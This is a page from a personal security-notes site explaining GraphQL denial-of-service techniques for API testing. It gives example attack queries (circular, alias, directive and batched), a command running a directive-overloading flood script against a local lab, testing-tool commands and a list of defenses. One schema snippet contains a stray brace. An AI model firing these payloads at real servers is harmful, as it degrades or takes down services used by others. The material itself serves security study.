Sec-88
  • 🧑Whoami
  • 🕸️Web-AppSec
    • Features Abuse
      • 2FA
      • Ban Feature
      • CAPTCHA
      • Commenting
      • Contact us
      • File-Upload
      • Inviting Feature
      • Messaging Features
      • Money-Related Features
      • Newsletter
      • Profile - Settings
      • Registration
      • Reset Password
      • Review
      • Rich Editor/Text
      • Social Sharing
      • Billing-Shipping Address Management
      • Integrations - Webhooks
      • API Key Management
    • Reconnaissance
      • Attacking Organizations with big scopes
    • Subdomain Enumeration
    • Fingerprinting
    • Dorking
    • XSS-HTML Injection
    • Improper Authentication
      • JWT Security
    • OAUTH Misconfigurations
      • OAuth 2.0 Basics
      • OAUTH Misconfigurations
    • Auth0 Misconfigurations
    • Broken Access Control
      • Insecure Direct Object References (IDOR)
      • 403 Bypass
    • Broken Link Injection
    • Command Injection
    • CORS
    • CRLF
    • CSRF
    • Host Header Attacks
    • HTTP request smuggling
    • JSON Request Testing
    • LFI
      • LFI to RCE
    • No Rate Limit
    • Parameters Manual Testing
    • Open Redirect
    • Registration & Takeover Bugs
    • Remote Code Execution (RCE)
    • Session Fixation
    • SQL Injection
      • SQL To RCE
    • SSRF
    • SSTI
    • Subdomain Takeover
    • Web Caching Vulnerabilities
    • WebSockets
    • XXE
      • XXE to RCE
    • Cookie Based Attacks
    • CMS
      • AEM [Adobe CMS]
    • XSSI (Cross Site Script Inclusion)
    • NoSQL injection
    • Local VS Remote Session Fixation
    • Protection
      • Security Mechanisms for Websites
      • Cookie Flags
      • SameSite Cookie Restrictions
      • Same-origin policy (SOP)
      • CSP
    • Hacking IIS Applications
    • Dependency Confusion
    • Attacking Secondary Context
    • Hacking Web Sockets
    • IDN Homograph Attack
    • DNS Rebinding Attack
    • LLM Hacking Checklist
    • Bypass URL Filtration
    • Cross-Site Path Traversal (CSPT)
    • PostMessage Security
    • Prototype Pollution
      • Client-Side Prototype Pollution
      • Server-Side prototype pollution
    • Tools-Extensions-Bookmarks
    • WAF Bypassing Techniques
    • SSL/TLS Certificate Lifecycle
    • Serialization in .NET
    • Client-Side Attacks
      • JavaScript Analysis
    • Bug Bounty Platforms/Programs
  • ✉️API-Sec
    • GraphQL API Security Testing
      • The Basics
      • GraphQL Communication
      • Setting Up a Vulnerable GraphQL Server
      • GraphQL Hacking Tools
      • GraphQL Attack Surface
      • RECONNAISSANCE
      • GraphQL DOS
      • Information Disclosure
      • AUTHENTICATION AND AUTHORIZATION BYPASSES
      • Injection Vulnerabilities in GraphQL
      • REQUEST FORGERY AND HIJACKING
      • VULNERABILITIES, REPORTS AND EXPLOITS
      • GraphQL Hacking Checklist
    • API Recon
    • API Token Attacks
    • Broken Object Level Authorization (BOLA)
    • Broken Authentication
    • Evasive Maneuvers
    • Improper Assets Management
    • Mass Assignment Attacks
    • SSRF
    • Injection Vulnerabilities
    • Excessive Data Exposure
    • OWASP API TOP 10 MindMap
    • Scanning APIs with OWASP ZAP
  • 📱Android-AppSec
    • Setup Android App Pentesting environment on Arch
    • Setup Android App Pentesting environment on Mac M4
    • Setup Android Pentesting Environment on Debian Linux
    • Android App Fundamentals
      • Android Architecture
      • Android Security Model
      • Android App Components
        • Intents
        • Pending Intents
    • Android App Components Security Cheatsheet
    • Android App Pentesting Checklist
    • How To Get APK file for application
    • ADB Commands
    • APK structure
    • Android Permissions
    • Exported Activity Hacking
    • BroadcastReceiver Hacking
    • Content Provider Hacking
    • Signing the APK
    • Reverse Engineering APK
    • Deep Links Hacking
    • Drozer Cheat Sheet
    • SMALI
      • SMALI Cheat Sheet
      • Smali Code Patching Guide
    • Intent Redirection Vulnerability
    • Janus Vulnerability (CVE-2017-13156)
    • Task Hijacking
    • Hacking Labs
      • Injured Android
      • Hacking the VulnWebView Lab
      • Hacking InsecureBankv2 App
    • Frida Cheat Sheet
  • 📶Network-Sec
    • Networking Fundamentals
    • Open Ports Security Testing
    • Vulnerability Scanning
    • Client Side Attacks
    • Port Redirection and Tunneling
    • Password Attacks
    • Privilege Escalation [PrevEsc]
      • Linux Privilege Escalation
    • Buffer Overflow (BOF)
      • VulnServer
      • Sync Breez Enterprize
      • Crashed CTF
      • BOF for Linux
    • AV Evasion
    • Post Exploitation
      • File Transfer
      • Maintaining Access
      • Pivoting
      • Clean Up
    • Active Directory
      • Basic AD Pentesting
  • 💻Desktop AppSec
    • Thin Client vs. Thick Client
  • ☁️Cloud Sec
    • Salesforce Hacking
      • Basics
      • Salesforce SAAS Apps Hacking
    • Firebase
    • S3 Buckets Misconfigurations
  • 👨‍💻Programming
    • HTML
    • JavaScript (JS)
      • window.location object
    • Python
      • Python Tips
      • Set
        • SetMethods
    • JAVA
      • Java Essentials
      • Java Essentials Code Notes
      • Java OOP1
      • JAVA OOP Principles
        • Inheritance
        • Method Overriding
        • Abstract Class
        • Interface
        • polymorphism
        • Encapsulation
        • Composition
      • Java OOP Challenges
      • Exception Handling
    • Go
      • Go Syntax Tutorial in one file
      • Methods and Interfaces
      • Go Slices
      • Go Maps
      • Go Functions
      • Concurrency
      • Read Files
      • Write Files
      • Package
        • How to make personal Package
        • regexp Packages
        • Json
        • bufio
        • Time
      • Signals-Exit
      • Unit Testing
  • 🖥️Operating Systems
    • Linux
      • Linux Commands
      • Tools
      • Linux File System
      • Bash Scripting guide
      • tmux
      • Git
      • Install Go tools from private repositories using GitHub PAT
    • VPS
    • Burp Suite
  • ✍️Write-Ups
    • Hunting Methodology
    • API BAC leads to PII Data Disclosure
    • Misconfigured OATUH leads to Pre-Account Takeover
    • Automating Bug Bounty with GitHub Actions
    • From Recon to Reward: My Bug Bounty Methodology when Hunting on Public Bug Bounty Programs
    • Exploring Subdomains: From Enumeration to Takeover Victory
    • 0-Click Account Takeover via Insecure Password Reset Feature
    • How a Simple Click Can Lead to Account Takeover: An OAuth Insecure Implementation Vulnerability
    • The Power Of IDOR even if it is unpredictable IDs
    • Unlocking the Weak Spot: Exploiting Insecure Password Reset Tokens
    • AI Under Siege: Discovering and Exploiting Vulnerabilities
    • Inside the Classroom: How We Hacked Our Way Past Authorization on a Leading EdTech Platform
    • How We Secured Our Client’s Platform Against Interaction-Free Account Thefts
    • Unchecked Privileges: The Hidden Risk of Role Escalation in Collaborative Platforms
    • Decoding Server Behavior: The Key to Mass Account Takeover
    • Exploiting JSON-Based CSRF: The Hidden Threat in Profile Management
    • How We Turned a Medium XSS into a High Bounty by Bypassing HttpOnly Cookie
Powered by GitBook
On this page
  • DoS Vectors:
  • Testing for DoS Vulnerabilities:
  • Denial-of-Service Defenses in GraphQL:

Was this helpful?

Edit on GitHub
  1. API-Sec
  2. GraphQL API Security Testing

GraphQL DOS

This Section focuses on how GraphQL's query language can be exploited to cause denial-of-service (DoS) attacks, which can degrade performance or completely take down a server.

DoS Vectors:

  • Circular Queries (Recursive Queries): These occur when relationships in the GraphQL schema create bidirectional links between objects, leading to recursive requests that can crash a server.

Vulnerable code

# A circular reference in a schema
type Paste {
    title: String
    content: String
    user_agent: String
    ip_address: String
    owner: Owner
}
type Owner {}
    ip_address: String
    user_agent: String
    pastes: [Paste]
    name: String
}

Exploit

# This query is simple to execute yet causes an exponentially large response from the GraphQL server. The more loops in the query, the larger the response becomes.
query {
    pastes {
        owner {
            pastes {
                owner {
                    pastes {
                        owner {
                            name
                        }
                    }
                }
            }
        }
    }
}

Circular Introspection Vulnerabilities:

The introspection system has its own schema, defined in the official GraphQL specification document.

GraphQL's built-in introspection system may contains a circular relationship that can be exploited when introspection is enabled. This circularity arises from the system's schema:

Schema Structure:

  • The __Schema type has a types field referencing [__Type!] (non-nullable array of __Type objects).

  • The __Type type includes a fields field returning [__Field!] (non-nullable array of __Field objects).

  • The __Field type has a type field referencing __Type, creating a circular dependency between __Type.fields and __Field.type.

Testing the Circular Query: The circular relationship can be tested with a query like this:

query {
  __schema {
    types {
      fields {
        type {
          fields {
            type {
              fields {
                name
              }
            }
          }
        }
      }
    }
  }  
}

Exploitation Risk: While a single query may not disrupt a server, a series of complex circular queries could degrade performance or potentially crash the system.


Field Duplication:

By repeating the same field multiple times in a query, an attacker can force the server to process the same information repeatedly. Although GraphQL will consolidate the response, the server will still process the request multiple times, resulting in resource exhaustion.

GraphQL may seem to ignore repeating fields due to response consolidation. When you query with repeated fields, like in Listing 5-5 with content repeated five times, GraphQL shows only a single content field in the response. However, server-side vulnerabilities can still arise unless defenses like query cost analysis are used.

{
  user {
    id
    email
    email
    email
  }
}

Alias Overloading

GraphQL aliases can be exploited to send multiple requests with different names in a single query, which can overwhelm the server.

query {
    one:systemUpdate
    two:systemUpdate
    three:systemUpdate
    four:systemUpdate
    five:systemUpdate
}
  • Chaining Aliases and Circular Queries:

# Circular queries with aliases
query {
        q1:pastes {
            owner {
                pastes {
                    owner {
                        name
                    }
            }
        }
    }
    q2:pastes {
       owner {
           pastes {
               owner {
                   name
                   }
               }
           }
       }
}
  • Directive Overloading: Similar to field duplication, this involves sending many directives with a query, exhausting the server’s query parsers.

query {
    pastes {
        title @aa@aa@aa@aa # add as many directives as possible
        content @aa@aa@aa@aa
    }
}
  • Exploit Script: The script multiplies a directive (e.g., @dos) to create a malicious payload, sends it in a query, and runs 300 threads in an infinite loop to overload the server.

  • Usage: Run with the command:

    python3 exploit_directive_overloading.py http://localhost:5013/graphql 30000
  • Impact: The server may become slow or unresponsive during the attack.

  • Note: The directive (@dos) can be any arbitrary text.


Circular Fragments

Fragments that reference one another can cause infinite loops, leading to DoS conditions.

query CircularFragment {
    pastes {
        ...Start
    }
}

fragment Start on PasteObject {
    title
    content
    ...End
}

fragment End on PasteObject {
    ...Start
}

Object Limit Overriding

Overriding limits on fields that return arrays, by using API pagination arguments like filter, max, limit, and total, can result in DoS.

GraphQL servers often limit the amount of data returned to clients, especially for fields returning arrays, to prevent excessive load. However, these limits can sometimes be overridden, posing potential risks.

  • Default Limits: Without explicit limits, queries (e.g., pastes) may return all records. For example, a database with 10,000 objects could overwhelm server and client resources.

  • Server Logic: Servers can enforce limits, such as returning only the most recent 100 items, through sorting or filtering at the GraphQL or database level.

  • Override Example: Clients may bypass limits using arguments like limit:

    query {
      pastes(limit: 100000, public: true) {
        content
      }
    }
  • This might execute as:

SELECT content FROM pastes WHERE public = true LIMIT 100000
  • Pagination: Keywords like limit, offset, first, and last are common for managing large datasets. Pagination splits data into smaller chunks for efficient querying.

  • Risks:

    • Large datasets could enable database-level DoS if the server processes excessive rows.

    • Introspection or trial queries can reveal supported arguments, enabling abuse.

Mitigation: Enforce strict server-side limits and implement robust pagination to protect against excessive data requests.


  • Array-Based Query Batching:

This technique involves sending multiple queries within a single HTTP request using arrays. This can bypass traditional rate-limiting controls and exacerbate the impact of other DoS vectors.

[
    query {
        ipAddr
        title
        content
    }
    query {
        ipAddr
        title
        content
    }
]
  • Detecting Query Batching by Using BatchQL:

cd BatchQL
python3 batch.py -e http://localhost:5013/graphql

BatchQL was able to detect that both array-based batching and alias- based batching are available.

Testing for DoS Vulnerabilities:

  • Manual review of SDL files: Developers should look for circular relationships in the schema, or they can use GraphQL Voyager to visualize the schema.

  • Using GraphQL Voyager:

  • InQL:

# Testing for circular queries with inql
inql -f /home/kali/introspection_query.json --generate-cycles -o dvga_cycles
[!] Parsing local schema file
[+] Writing Introspection Schema JSON
[+] Writing query Templates
Writing systemUpdate query
Writing pastes query
[+] Writing mutation Templates
Writing createPaste mutation
[+] Writing Query Cycles to introspection_query
[+] DONE

# test one link
inql -t http://localhost:5013/graphql --generate-cycles -o dvga_cycles

# working with list of hosts
for host in $(cat hosts.txt); do
    inql -t "$host" --generate-cycles
done
  • GraphQL Cop: This tool can detect DoS vectors by auditing the GraphQL API and schema.

python3 graphql-cop.py -t http://localhost:5013/graphql

Denial-of-Service Defenses in GraphQL:

  • Query Cost Analysis: Assigning costs to fields to limit the overall cost of a query.

  • Query Depth Limits: Limiting the number of nested fields in a query.

  • Alias and Array-Based Batching Limits: Restricting the number of aliases or batched queries allowed in a single request.

  • Field Duplication Limits: Limiting the number of duplicated fields in a query.

  • Limits on the Number of Returned Records: Limiting the number of records returned by a query.

  • Query Allow Lists: Only allowing pre-approved queries to be executed.

  • Automatic Persisted Queries (APQ): Using a server-side cache of approved queries to avoid the need to parse every request.

  • Timeouts: Setting time limits for query executions.

  • Web Application Firewalls (WAFs): Using a WAF to detect and block malicious requests.

  • Gateway Proxies: Merging multiple GraphQL schemas into one, and enforcing policies at the gateway.

PreviousRECONNAISSANCENextInformation Disclosure

Last updated 4 months ago

Was this helpful?

For further details, refer to the full introspection schema in the .

Using Schema Definition Language Files: Example:

✉️
GraphQL Specification
https://github.com/dolevf/Black-Hat-GraphQL/blob/master/ch05/sdl.graphql
Black-Hat-GraphQL/ch05/exploit_directive_overloading.py at master · dolevf/Black-Hat-GraphQLGitHub
Logo
Object relationships in GraphQL Voyager
The dangers of stateless cost analysis